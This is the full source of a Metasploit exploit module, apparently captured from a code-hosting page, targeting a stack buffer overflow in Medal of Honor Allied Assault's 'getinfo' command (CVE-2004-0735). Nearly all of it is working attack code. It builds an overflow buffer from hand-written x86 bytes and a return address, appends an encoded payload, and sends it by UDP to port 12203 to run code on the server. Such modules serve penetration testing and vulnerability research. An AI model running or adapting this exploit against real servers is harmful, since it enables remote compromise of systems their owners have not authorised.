Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/games/mohaa_getinfo.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Medal of Honor Allied Assault getinfo Stack Buffer Overflow',13'Description' => %q{14This module exploits a stack based buffer overflow in the getinfo15command of Medal Of Honor Allied Assault.16},17'Author' => [ 'Jacopo Cervini' ],18'License' => BSD_LICENSE,19'References' =>20[21[ 'CVE', '2004-0735'],22[ 'OSVDB', '8061' ],23[ 'EDB', '357'],24[ 'BID', '10743'],25],26'Privileged' => false,27'Payload' =>28{29'Space' => 512,30'BadChars' => "\x00",31},32'Platform' => 'win',33'Targets' =>34[35['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx36],37'DisclosureDate' => '2004-07-17',38'DefaultTarget' => 0))3940register_options(41[42Opt::RPORT(12203)43])44end4546def exploit47connect_udp4849# We should convert this to metasm - Patrick50buf = 'B' * target['Rets'][0]51buf << "\x68\x76\x76\x76\x76"*9 # PUSH 76767676 x 952buf << "\x68\x7f\x7f\x7f\x7f" # PUSH 7F7F7F7F53buf << "\x57" # PUSH EDI54buf << "\x58" # POP EAX55buf << "\x32\x64\x24\x24" # XOR AH,BYTE PTR SS:[ESP+24]56buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]57buf << "\x48"*150 # DEC EAX x 15058buf << "\x50\x50" # PUSH EAX x 259buf << "\x53" # PUSH EBX60buf << "\x58" # POP EAX61buf << "\x51" # PUSH ECX62buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]63buf << "\x6a\x7f" # PUSH 7F64buf << "\x5e" # POP ESI65buf << "\x46"*37 # INC ESI66buf << "\x56"*10 # PUSH ESI67buf << "\x32\x44\x24\x24" # XOR AL,BYTE PTR SS:[ESP+24]68buf << "\x49\x49" # DEC ECX69buf << "\x31\x48\x34" # XOR DWORD PTR DS:[EAX+34],ECX70buf << "\x58"*11 # POP EAX71buf << "\x42"*6672buf << "\x3c"*473buf << "\x42"*4874buf << [ target['Rets'][1] ].pack('V')7576req = "\xff\xff\xff\xff\x02" + "getinfo " + buf77req << "\r\n\r\n" + make_nops(32) + payload.encoded7879udp_sock.put(req)8081handler82disconnect_udp83end84end858687